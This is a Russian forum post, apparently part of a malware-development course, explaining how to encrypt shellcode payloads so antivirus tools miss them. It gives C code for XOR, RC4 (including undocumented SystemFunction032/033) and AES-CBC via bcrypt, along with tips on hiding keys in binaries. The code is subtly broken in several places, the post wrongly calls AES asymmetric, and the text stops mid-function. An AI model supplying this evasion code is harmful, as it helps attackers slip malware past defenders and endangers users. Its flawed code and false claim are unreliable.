Уроки Разработка малвари-9. Шифруем Payload


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
1694436128387.png


В предыдущей статье мы рассмотрели где хранить полезную нагрузку (Payload), но как было сказано в коментарии к статье, для обхода детекта нужно много чего сделать, в частности нужно зашифровать Payload и ещё позаботится об антиэмуляции и скрытия поведения.

В этой статье рассмотрим пока-что как шифровать.)

Шифрование с использованием XOR

Шифрование с использованием XOR является самым простым в использовании и легким в реализации, что делает его популярным выбором для вредоносных программ. Оно быстрее, чем AES и RC4, и не требует дополнительных библиотек или использования API Windows. Кроме того, это симметричный алгоритм шифрования, который позволяет использовать одну и ту же функцию как для шифрования, так и для дешифрования.

Шифрование XOR Приведенный ниже фрагмент кода показывает базовую функцию шифрования XOR. Функция просто применяет операцию XOR к каждому байту шеллкода с 1-байтовым ключом.

C:
/*
    - pShellcode : Base address of the payload to encrypt
    - sShellcodeSize : The size of the payload
    - bKey : A single arbitrary byte representing the key for encrypting the payload
*/
VOID XorByOneKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
    for (size_t i = 0; i < sShellcodeSize; i++){
        pShellcode[i] = pShellcode[i] ^ bKey;
    }
}

Дополнение: Хотя XOR обладает определенными преимуществами в виде скорости и простоты, он не считается безопасным для большинства серьезных приложений шифрования. Если атакующий имеет доступ к исходному и зашифрованному текстам, он может легко восстановить ключ. Кроме того, если один и тот же ключ используется многократно, это также может привести к уязвимостям.

Защита ключа шифрования

Некоторые инструменты и решения по безопасности могут подбирать ключ методом грубой силы, что позволит расшифровать шеллкод. Чтобы усложнить подбор ключа этим инструментам, приведенный ниже код вносит незначительные изменения, увеличивая ключевое пространство за счет добавления переменной i к ключу. Теперь, когда ключевое пространство значительно больше, гораздо сложнее подобрать ключ методом грубой силы.

C:
/*
    - pShellcode : Базовый адрес полезной нагрузки для шифрования
    - sShellcodeSize : Размер полезной нагрузки
    - bKey : Один произвольный байт, представляющий ключ для шифрования полезной нагрузки
*/
VOID XorByiKeys(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
    for (size_t i = 0; i < sShellcodeSize; i++) {
        pShellcode[i] = pShellcode[i] ^ (bKey + i);
    }
}

Приведенный выше фрагмент кода все же можно сделать более надежным. В следующем фрагменте кода процесс шифрования осуществляется с ключом, используя каждый байт ключа повторно, что усложняет взлом ключа.

C:
/*
    - pShellcode : Базовый адрес полезной нагрузки для шифрования
    - sShellcodeSize : Размер полезной нагрузки
    - bKey : Случайный массив байтов определенного размера
    - sKeySize : Размер ключа
*/
VOID XorByInputKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN PBYTE bKey, IN SIZE_T sKeySize) {
    for (size_t i = 0, j = 0; i < sShellcodeSize; i++, j++) {
        if (j > sKeySize){
            j = 0;
        }
        pShellcode[i] = pShellcode[i] ^ bKey[j];
    }
}

Заключение

Рекомендуется использовать шифрование XOR для небольших задач, таких как скрытие строк.
Однако для более крупных полезных нагрузок рекомендуется использовать более безопасные методы шифрования, такие как AES.

Шифрование полезной нагрузки - RC4

Введение RC4 - это быстрый и эффективный потоковый шифр, который также является симметричным алгоритмом шифрования, позволяющим использовать одну и ту же функцию как для шифрования, так и для дешифрования.

Есть несколько реализаций RC4 на C, доступных публично, но в этой статье будут продемонстрированы три способа выполнения шифрования RC4.

Примечание: главная цель этой статьи - не вникать в детали работы алгоритма RC4, а шифровать полезную нагрузку для избежания обнаружения.

RC4 Шифрование - Метод 1

Существуют две функции rc4Init и rc4Cipher, которые используются для инициализации структуры rc4context и выполнения шифрования RC4 соответственно.

C:
typedef struct
{
    unsigned int i;
    unsigned int j;
    unsigned char s[256];

} Rc4Context;


void rc4Init(Rc4Context* context, const unsigned char* key, size_t length)
{
    unsigned int i;
    unsigned int j;
    unsigned char temp;

    // Check parameters
    if (context == NULL || key == NULL)
        return ERROR_INVALID_PARAMETER;

    // Clear context
    context->i = 0;
    context->j = 0;

    // Initialize the S array with identity permutation
    for (i = 0; i < 256; i++)
    {
        context->s[i] = i;
    }

    // S is then processed for 256 iterations
    for (i = 0, j = 0; i < 256; i++)
    {
        //Randomize the permutations using the supplied key
        j = (j + context->s[i] + key[i % length]) % 256;

        //Swap the values of S[i] and S[j]
        temp = context->s[i];
        context->s[i] = context->s[j];
        context->s[j] = temp;
    }

}


void rc4Cipher(Rc4Context* context, const unsigned char* input, unsigned char* output, size_t length){
    unsigned char temp;

    // Restore context
    unsigned int i = context->i;
    unsigned int j = context->j;
    unsigned char* s = context->s;

    // Encryption loop
    while (length > 0)
    {
        // Adjust indices
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;

        // Swap the values of S[i] and S[j]
        temp = s[i];
        s[i] = s[j];
        s[j] = temp;

        // Valid input and output?
        if (input != NULL && output != NULL)
        {
            //XOR the input data with the RC4 stream
            *output = *input ^ s[(s[i] + s[j]) % 256];

            //Increment data pointers
            input++;
            output++;
        }

        // Remaining bytes to process
        length--;
    }

    // Save context
    context->i = i;
    context->j = j;
}

Пример шифрования:

C:
    // Initialization
    Rc4Context ctx = { 0 };

    // Key used for encryption
    unsigned char* key = "ru-sfera.pw";
    rc4Init(&ctx, key, sizeof(key));

    // Encryption //
    // plaintext - The payload to be encrypted
    // ciphertext - A buffer that is used to store the outputted encrypted data
    rc4Cipher(&ctx, plaintext, ciphertext, sizeof(plaintext));

Пример расшифровки:

Код:
// Initialization
    Rc4Context ctx = { 0 };

    // Key used to decrypt
    unsigned char* key = "ru-sfera.pw";
    rc4Init(&ctx, key, sizeof(key));

    // Decryption //
    // ciphertext - Encrypted payload to be decrypted
    // plaintext - A buffer that is used to store the outputted plaintext data
    rc4Cipher(&ctx, ciphertext, plaintext, sizeof(ciphertext));

RC4 Шифрование - Метод 2

Неудокументированный Windows NTAPI SystemFunction032 предлагает более быструю и меньшую реализацию алгоритма RC4.

Использование SystemFunction032 для шифрования с помощью RC4

Функция SystemFunction032 представляет собой неудокументированное API Windows, которое предоставляет реализацию алгоритма шифрования RC4. Несмотря на то что это API не документировано Microsoft, оно широко известно и используется разработчиками программного обеспечения, в том числе благодаря таким проектам, как Wine, который предоставляет дополнительные сведения об этой функции.

SystemFunction032

В соответствии с документацией на странице Wine API, функция SystemFunction032 принимает два параметра типа USTRING.

C:
NTSTATUS SystemFunction032
(
 struct ustring* data,
const struct ustring* key
)

Структура USTRING

Поскольку это неудокументированное API, структура USTRING изначально неизвестна. Однако, благодаря дополнительным исследованиям и ресурсам, таким как Wine, стало возможным определить эту структуру:

C:
typedef struct
{
DWORD Length; // Размер данных для шифрования/дешифрования
DWORD MaximumLength; // Максимальный размер данных для шифрования/дешифрования
PVOID Buffer; // Базовый адрес данных для шифрования/дешифрования
} USTRING;

Использование SystemFunction032

Для использования SystemFunction032 необходимо сначала получить ее адрес. Эта функция экспортируется из advapi32.dll, поэтому эту DLL необходимо загрузить в процесс с помощью функции LoadLibrary. Возвращаемое значение этой функции может быть непосредственно использовано в GetProcAddress для получения адреса SystemFunction032.

C:
fnSystemFunction032 SystemFunction032 = (fnSystemFunction032) GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");

Функция указателя на SystemFunction032 определена как тип данных fnSystemFunction032:

C:
typedef NTSTATUS(NTAPI* fnSystemFunction032)(
struct USTRING* Data,   // Структура типа USTRING, содержащая информацию о буфере для шифрования/дешифрования
struct USTRING* Key     // Структура типа USTRING, содержащая информацию о ключе, используемом при шифровании/дешифровании
);

Затем можно использовать SystemFunction032 для шифрования и дешифрования данных, передавая соответствующий ключ и данные в структурах USTRING.

Важно отметить, что использование неудокументированных функций может быть рискованным, так как поведение или доступность таких функций может измениться в будущих версиях ОС или обновлениях.

Пример использование функции SystemFunction032:

C:
typedef struct
{
    DWORD    Length;
    DWORD    MaximumLength;
    PVOID    Buffer;

} USTRING;

typedef NTSTATUS(NTAPI* fnSystemFunction032)(
    struct USTRING* Data,
    struct USTRING* Key
);

/*
Helper function that calls SystemFunction032
* pRc4Key - The RC4 key use to encrypt/decrypt
* pPayloadData - The base address of the buffer to encrypt/decrypt
* dwRc4KeySize - Size of pRc4key (Param 1)
* sPayloadSize - Size of pPayloadData (Param 2)
*/
BOOL Rc4EncryptionViaSystemFunc032(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {

    NTSTATUS STATUS    = NULL;

    USTRING Data = {
        .Buffer         = pPayloadData,
        .Length         = sPayloadSize,
        .MaximumLength  = sPayloadSize
    };

    USTRING    Key = {
        .Buffer         = pRc4Key,
        .Length         = dwRc4KeySize,
        .MaximumLength  = dwRc4KeySize
    },

    fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");

    if ((STATUS = SystemFunction032(&Data, &Key)) != 0x0) {
        printf("[!] SystemFunction032 FAILED With Error: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

RC4 Шифрование - Метод 3

Еще один способ реализации алгоритма RC4 - использование SystemFunction033, которое принимает те же параметры, что и ранее показанная функция SystemFunction032.

C:
typedef struct
{
    DWORD    Length;
    DWORD    MaximumLength;
    PVOID    Buffer;

} USTRING;


typedef NTSTATUS(NTAPI* fnSystemFunction033)(
    struct USTRING* Data,
    struct USTRING* Key
    );


/*
Helper function that calls SystemFunction033
* pRc4Key - The RC4 key use to encrypt/decrypt
* pPayloadData - The base address of the buffer to encrypt/decrypt
* dwRc4KeySize - Size of pRc4key (Param 1)
* sPayloadSize - Size of pPayloadData (Param 2)
*/
BOOL Rc4EncryptionViSystemFunc033(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {

    NTSTATUS    STATUS = NULL;

    USTRING        Key = {
            .Buffer        = pRc4Key,
            .Length        = dwRc4KeySize,
            .MaximumLength = dwRc4KeySize
    };

    USTRING     Data = {
            .Buffer         = pPayloadData,
            .Length         = sPayloadSize,
            .MaximumLength  = sPayloadSize
    };

    fnSystemFunction033 SystemFunction033 = (fnSystemFunction033)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction033");

    if ((STATUS = SystemFunction033(&Data, &Key)) != 0x0) {
        printf("[!] SystemFunction033 FAILED With Error: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

Формат ключа шифрования/дешифрования

Имейте в виду, что внедрение открытого текстового ключа в бинарный файл считается плохой практикой и может быть легко извлечено при анализе вредоносного ПО. В будущих статьях будут представлены решения, обеспечивающие невозможность легкого извлечения ключа.

Различные методы представления ключа

При реализации процесса шифрования важно правильно представить ключ шифрования. Ключ может быть представлен разными способами в зависимости от конкретных требований к безопасности, удобства и других аспектов.

  1. Прямое представление ключа в виде строки: Простейший и наиболее понятный способ. Однако, такое представление может быть легко обнаружено и извлечено из исполняемого файла при анализе.
    unsigned char* key = "ru-sfera.pw";
  2. Представление ключа в виде массива шестнадцатеричных байтов: Это немного менее очевидно для человеческого глаза при просмотре исходного кода, но остается простым для анализа.
    unsigned char key[] = {
    0x6D, 0x61, 0x6C, 0x64, 0x65, 0x76, 0x31, 0x32, 0x33
    };
  3. Представление ключа в виде шестнадцатеричной строки (экранированной последовательностью): Похоже на предыдущий метод, но представляет собой строку.
    unsigned char* key = "\x6D\x61\x64\x65\x76\x31\x32\x33";
  4. Представление ключа через стек строк: Этот метод маскирует ключ, представляя его в виде массива символов. Это может создать дополнительный уровень сложности для автоматических инструментов анализа.
    unsigned char key[] = {
    'r', 'u', '-', 's', 'f', 'e','r', 'a', '.', 'p','w'
    };
Важно помнить, что независимо от выбранного метода представления ключа, ключи, зашитые прямо в бинарные файлы, представляют угрозу безопасности. Если злоумышленник получит доступ к исполняемому файлу, он может попытаться извлечь этот ключ. Существуют различные методы обфускации и скрытия ключей, которые могут быть применены для повышения безопасности.


Шифрование AES (Стандарт Современного Шифрования)

Теперь давайте рассмотрим более безопасный алгоритм шифрования, известный как AES (Advanced Encryption Standard). Это ассимитричный алгоритм шифрования, что означает использование нескольких ключей для шифрования/расшифрования.

Существует несколько видов шифрования AES, таких как AES128, AES192 и AES256, которые отличаются размером ключа. Например, AES128 использует 128-битный ключ, в то время как AES256 использует 256-битный ключ.

К тому же, AES может использовать различные режимы работы блочных шифров, такие как CBC и GCM. В зависимости от режима работы AES требуется дополнительный компонент вместе с ключом шифрования, называемый вектором инициализации или IV. Использование IV добавляет дополнительный уровень безопасности к процессу шифрования.

Независимо от выбранного типа AES, AES всегда требует ввод в 128 бит и выводит блоки в 128 бит. Важно помнить, что входные данные должны быть кратны 16 байтам (128 бит). Если шифруемая полезная нагрузка не кратна 16 байтам, то требуется увеличение размера полезной нагрузки и приведения ее к кратности 16 байтам.

В статье предоставлены пример кода, который использует AES256-CBC. Пример использует WinAPI. Стоит отметить, что, поскольку используется AES256-CBC, код использует 32-байтный ключ и 16-байтный IV. Это может измениться, если в коде используется другой тип или режим AES.

Шифрование с использованием WinAPI (библиотека bCrypt)

Существует несколько способов реализации алгоритма шифрования AES. В этом разделе используется библиотека bCrypt (bcrypt.h) для выполнения шифрования AES.

Структура AES

Для начала создается структура AES, которая содержит необходимые данные для выполнения шифрования и дешифрования.

C:
typedef struct _AES {
    PBYTE    pPlainText;         // базовый адрес исходного текста
    DWORD    dwPlainSize;        // размер исходного текста

    PBYTE    pCipherText;        // базовый адрес зашифрованных данных
    DWORD    dwCipherSize;       // его размер (может измениться относительно dwPlainSize, если было дополнение)

    PBYTE    pKey;               // 32-байтный ключ
    PBYTE    pIv;                // 16-байтный IV
} AES, *PAES;

Обертка для упрощения использования алгоритма (Функция шифрования)

Функция SimpleEncryption имеет шесть параметров, используемых для инициализации структуры AES. После инициализации структуры функция вызывает InstallAesEncryption для выполнения процесса шифрования AES. Отметим, что два из ее параметров являются исходящими параметрами, поэтому функция возвращает следующее:

pCipherTextData - указатель на вновь выделенный буфер кучи, содержащий данные шифротекста.

sCipherTextSize - размер буфера шифротекста.

Функция возвращает TRUE, если InstallAesEncryption завершается успешно, иначе FALSE.

C:
// Функция-обертка для InstallAesEncryption, упрощающая процесс
BOOL SimpleEncryption(IN PVOID pPlainTextData, IN DWORD sPlainTextSize, IN PBYTE pKey, IN PBYTE pIv, OUT PVOID* pCipherTextData, OUT DWORD* sCipherTextSize) {
    if (pPlainTextData == NULL || sPlainTextSize == NULL || pKey == NULL || pIv == NULL)
        return FALSE;

    // Инициализация структуры
    AES Aes = {
        .pKey        = pKey,
        .pIv         = pIv,
        .pPlainText  = pPlainTextData,
        .dwPlainSize = sPlainTextSize
    };

    if (!InstallAesEncryption(&Aes)) {
        return FALSE;
    }

    // Сохранение вывода
    *pCipherTextData = Aes.pCipherText;
    *sCipherTextSize = Aes.dwCipherSize;

    return TRUE;
}

Обертка для упрощения использования алгоритма (Функция расшифровки)

Функция SimpleDecryption также имеет шесть параметров и работает аналогично SimpleEncryption, но с отличием в том, что она вызывает функцию InstallAesDecryption и возвращает два других значения.

pPlainTextData - указатель на вновь выделенный буфер кучи, содержащий данные исходного текста.

sPlainTextSize - размер буфера исходного текста.

Функция возвращает TRUE, если InstallAesDecryption завершается успешно, иначе FALSE.

Код:
// Функция-обертка для InstallAesDecryption, упрощающая процесс
BOOL SimpleDecryption(IN PVOID pCipherTextData, IN DWORD sCipherTextSize, IN PBYTE pKey, IN PBYTE pIv, OUT PVOID* pPlainTextData, OUT DWORD* sPlainTextSize) {
    if (pCipherTextData == NULL || sCipherTextSize == NULL || pKey == NULL || pIv == NULL)
        return FALSE;

    // Инициализация структуры
    AES Aes = {
        .pKey          = pKey,
        .pIv           = pIv,
        .pCipherText   = pCipherTextData,
        .dwCipherSize  = sCipherTextSize
    };

    if (!InstallAesDecryption(&Aes)) {
        return FALSE;
    }

    // Сохранение вывода
    *pPlainTextData = Aes.pPlainText;
    *sPlainTextSize = Aes.dwPlainSize;

    return TRUE;
}

Функция InstallAesEncryption

Функция InstallAesEncryption выполняет шифрование по методу AES.
Функция имеет один параметр, PAES, который является указателем на заполненную структуру AES. Функции библиотеки bCrypt, используемые в этой функции, показаны ниже.

BCryptOpenAlgorithmProvider - Используется для загрузки поставщика BCRYPT_AES_ALGORITHM Cryptographic Next Generation (CNG), чтобы обеспечить использование криптографических функций.

BCryptGetProperty - Эта функция вызывается дважды: в первый раз для получения значения BCRYPT_OBJECT_LENGTH и во второй раз для извлечения значения идентификатора свойства BCRYPT_BLOCK_LENGTH.

BCryptSetProperty - Используется для инициализации идентификатора свойства BCRYPT_OBJECT_LENGTH.

BCryptGenerateSymmetricKey - Используется для создания объекта ключа из входного ключа AES.

BCryptEncrypt - Используется для шифрования указанного блока данных. Эта функция вызывается дважды: первый вызов получает размер зашифрованных данных, чтобы выделить буфер кучи этого размера. Второй вызов шифрует данные и сохраняет шифртекст в выделенной куче.

BCryptDestroyKey - Используется для очистки путем уничтожения объекта ключа, созданного с использованием BCryptGenerateSymmetricKey.

BCryptCloseAlgorithmProvider - Используется для очистки путем закрытия дескриптора объекта алгоритма, созданного ранее с использованием BCryptOpenAlgorithmProvider.

Функция возвращает TRUE, если успешно шифрует полезную нагрузку, в противном случае - FALSE.

C:
// The encryption implementation
BOOL InstallAesEncryption(PAES pAes) {

  BOOL                  bSTATE           = TRUE;
  BCRYPT_ALG_HANDLE     hAlgorithm       = NULL;
  BCRYPT_KEY_HANDLE     hKeyHandle       = NULL;

  ULONG               cbResult         = NULL;
  DWORD               dwBlockSize      = NULL;

  DWORD               cbKeyObject      = NULL;
  PBYTE               pbKeyObject      = NULL;

  PBYTE              pbCipherText     = NULL;
  DWORD               cbCipherText     = NULL,


  // Intializing "hAlgorithm" as AES algorithm Handle
  STATUS = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Getting the size of the key object variable pbKeyObject. This is used by the BCryptGenerateSymmetricKey function later
  STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_OBJECT_LENGTH, (PBYTE)&cbKeyObject, sizeof(DWORD), &cbResult, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptGetProperty[1] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Getting the size of the block used in the encryption. Since this is AES it must be 16 bytes.
  STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_BLOCK_LENGTH, (PBYTE)&dwBlockSize, sizeof(DWORD), &cbResult, 0);
  if (!NT_SUCCESS(STATUS)) {
       printf("[!] BCryptGetProperty[2] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Checking if block size is 16 bytes
  if (dwBlockSize != 16) {
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Allocating memory for the key object
  pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
  if (pbKeyObject == NULL) {
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Setting Block Cipher Mode to CBC. This uses a 32 byte key and a 16 byte IV.
  STATUS = BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptSetProperty Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Generating the key object from the AES key "pAes->pKey". The output will be saved in pbKeyObject and will be of size cbKeyObject
  STATUS = BCryptGenerateSymmetricKey(hAlgorithm, &hKeyHandle, pbKeyObject, cbKeyObject, (PBYTE)pAes->pKey, KEYSIZE, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptGenerateSymmetricKey Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Running BCryptEncrypt first time with NULL output parameters to retrieve the size of the output buffer which is saved in cbCipherText
  STATUS = BCryptEncrypt(hKeyHandle, (PUCHAR)pAes->pPlainText, (ULONG)pAes->dwPlainSize, NULL, pAes->pIv, IVSIZE, NULL, 0, &cbCipherText, BCRYPT_BLOCK_PADDING);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptEncrypt[1] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Allocating enough memory for the output buffer, cbCipherText
  pbCipherText = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbCipherText);
  if (pbCipherText == NULL) {
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Running BCryptEncrypt again with pbCipherText as the output buffer
  STATUS = BCryptEncrypt(hKeyHandle, (PUCHAR)pAes->pPlainText, (ULONG)pAes->dwPlainSize, NULL, pAes->pIv, IVSIZE, pbCipherText, cbCipherText, &cbResult, BCRYPT_BLOCK_PADDING);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptEncrypt[2] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }


  // Clean up
_EndOfFunc:
  if (hKeyHandle)
        BCryptDestroyKey(hKeyHandle);
  if (hAlgorithm)
        BCryptCloseAlgorithmProvider(hAlgorithm, 0);
  if (pbKeyObject)
        HeapFree(GetProcessHeap(), 0, pbKeyObject);
  if (pbCipherText != NULL && bSTATE) {
        // If everything worked, save pbCipherText and cbCipherText
        pAes->pCipherText     = pbCipherText;
        pAes->dwCipherSize     = cbCipherText;
  }
  return bSTATE;
}

Функция InstallAesDecryption

Функция InstallAesDecryption выполняет расшифровку по методу AES.
Функция имеет один параметр, PAES, который является указателем на заполненную структуру AES.

Функции библиотеки bCrypt, используемые в этой функции, такие же, как и в функции InstallAesEncryption выше, единственное различие заключается в том, что используется BCryptDecrypt вместо BCryptEncrypt.

BCryptDecrypt - Используется для расшифровки указанного блока данных.
Эта функция вызывается дважды: в первый раз для получения размера расшифрованных данных, чтобы выделить буфер кучи этого размера. Второй вызов расшифровывает данные и сохраняет текстовые данные в выделенной куче.

Функция возвращает TRUE, если успешно расшифровывает полезную нагрузку, в противном случае - FALSE.

C:
// The decryption implementation
BOOL InstallAesDecryption(PAES pAes) {

  BOOL                  bSTATE          = TRUE;
  BCRYPT_ALG_HANDLE     hAlgorithm      = NULL;
  BCRYPT_KEY_HANDLE     hKeyHandle      = NULL;

  ULONG                 cbResult        = NULL;
  DWORD                 dwBlockSize     = NULL;

  DWORD                 cbKeyObject     = NULL;
  PBYTE                 pbKeyObject     = NULL;

  PBYTE                 pbPlainText     = NULL;
  DWORD                 cbPlainText     = NULL,

  // Intializing "hAlgorithm" as AES algorithm Handle
  STATUS = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Getting the size of the key object variable pbKeyObject. This is used by the BCryptGenerateSymmetricKey function later
  STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_OBJECT_LENGTH, (PBYTE)&cbKeyObject, sizeof(DWORD), &cbResult, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptGetProperty[1] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Getting the size of the block used in the encryption. Since this is AES it should be 16 bytes.
  STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_BLOCK_LENGTH, (PBYTE)&dwBlockSize, sizeof(DWORD), &cbResult, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptGetProperty[2] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Checking if block size is 16 bytes
  if (dwBlockSize != 16) {
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Allocating memory for the key object
  pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
  if (pbKeyObject == NULL) {
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Setting Block Cipher Mode to CBC. This uses a 32 byte key and a 16 byte IV.
  STATUS = BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptSetProperty Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Generating the key object from the AES key "pAes->pKey". The output will be saved in pbKeyObject of size cbKeyObject
  STATUS = BCryptGenerateSymmetricKey(hAlgorithm, &hKeyHandle, pbKeyObject, cbKeyObject, (PBYTE)pAes->pKey, KEYSIZE, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptGenerateSymmetricKey Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Running BCryptDecrypt first time with NULL output parameters to retrieve the size of the output buffer which is saved in cbPlainText
  STATUS = BCryptDecrypt(hKeyHandle, (PUCHAR)pAes->pCipherText, (ULONG)pAes->dwCipherSize, NULL, pAes->pIv, IVSIZE, NULL, 0, &cbPlainText, BCRYPT_BLOCK_PADDING);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptDecrypt[1] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Allocating enough memory for the output buffer, cbPlainText
  pbPlainText = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbPlainText);
  if (pbPlainText == NULL) {
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Running BCryptDecrypt again with pbPlainText as the output buffer
  STATUS = BCryptDecrypt(hKeyHandle, (PUCHAR)pAes->pCipherText, (ULONG)pAes->dwCipherSize, NULL, pAes->pIv, IVSIZE, pbPlainText, cbPlainText, &cbResult, BCRYPT_BLOCK_PADDING);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptDecrypt[2] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Clean up
_EndOfFunc:
  if (hKeyHandle)
        BCryptDestroyKey(hKeyHandle);
  if (hAlgorithm)
        BCryptCloseAlgorithmProvider(hAlgorithm, 0);
  if (pbKeyObject)
        HeapFree(GetProcessHeap(), 0, pbKeyObject);
  if (pbPlainText != NULL && bSTATE) {
        // if everything went well, we save pbPlainText and cbPlainText
        pAes->pPlainText   = pbPlainText;
        pAes->dwPlainSize  = cbPlainText;
  }
  return bSTATE;

}

Дополнительные вспомогательные функции

Код также включает в себя две небольшие вспомогательные функции: PrintHexData и GenerateRandomBytes.

Первая функция, PrintHexData, выводит входной буфер в виде массива символов в синтаксисе C на консоль.

C:
// Вывод входного буфера в виде шестнадцатеричного массива символов
VOID PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {

  printf("unsigned char %s[] = {", Name);

  for (int i = 0; i < Size; i++) {
        if (i % 16 == 0)
              printf("\n\t");

        if (i < Size - 1) {
            printf("0x%0.2X, ", Data[i]);
        else
              printf("0x%0.2X ", Data[i]);
  }

  printf("};\n\n\n");

}

Другая функция, GenerateRandomBytes, заполняет входной буфер случайными байтами, которые в этом контексте используются для генерации случайного ключа и инициализирующего вектора (IV).

C:
// Генерация случайных байт заданного размера
VOID GenerateRandomBytes(PBYTE pByte, SIZE_T sSize) {

  for (int i = 0; i < sSize; i++) {
        pByte[i] = (BYTE)rand() % 0xFF;
  }

}

Пример использования:

Ниже представлена основная функция, которая используется для выполнения процедуры шифрования массива открытого текста.

C:
// The plaintext, in hex format, that will be encrypted
// this is the following string in hex "This is a plain text string, we'll try to encrypt/decrypt !"
unsigned char Data[] = {
    0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x70, 0x6C,
    0x61, 0x69, 0x6E, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x73, 0x74, 0x72,
    0x69, 0x6E, 0x67, 0x2C, 0x20, 0x77, 0x65, 0x27, 0x6C, 0x6C, 0x20, 0x74,
    0x72, 0x79, 0x20, 0x74, 0x6F, 0x20, 0x65, 0x6E, 0x63, 0x72, 0x79, 0x70,
    0x74, 0x2F, 0x64, 0x65, 0x63, 0x72, 0x79, 0x70, 0x74, 0x20, 0x21
};

int main() {

    BYTE pKey [KEYSIZE];                    // KEYSIZE is 32 bytes
    BYTE pIv [IVSIZE];                      // IVSIZE is 16 bytes

    srand(time(NULL));                      // The seed to generate the key. This is used to further randomize the key.
    GenerateRandomBytes(pKey, KEYSIZE);     // Generating a key with the helper function

    srand(time(NULL) ^ pKey[0]);            // The seed to generate the IV. Use the first byte of the key to add more randomness.
    GenerateRandomBytes(pIv, IVSIZE);       // Generating the IV with the helper function

    // Printing both key and IV onto the console
    PrintHexData("pKey", pKey, KEYSIZE);
    PrintHexData("pIv", pIv, IVSIZE);

    // Defining two variables the output buffer and its respective size which will be used in SimpleEncryption
    PVOID pCipherText = NULL;
    DWORD dwCipherSize = NULL;

    // Encrypting
    if (!SimpleEncryption(Data, sizeof(Data), pKey, pIv, &pCipherText, &dwCipherSize)) {
        return -1;
    }

    // Print the encrypted buffer as a hex array
    PrintHexData("CipherText", pCipherText, dwCipherSize);

    // Clean up
    HeapFree(GetProcessHeap(), 0, pCipherText);
    system("PAUSE");
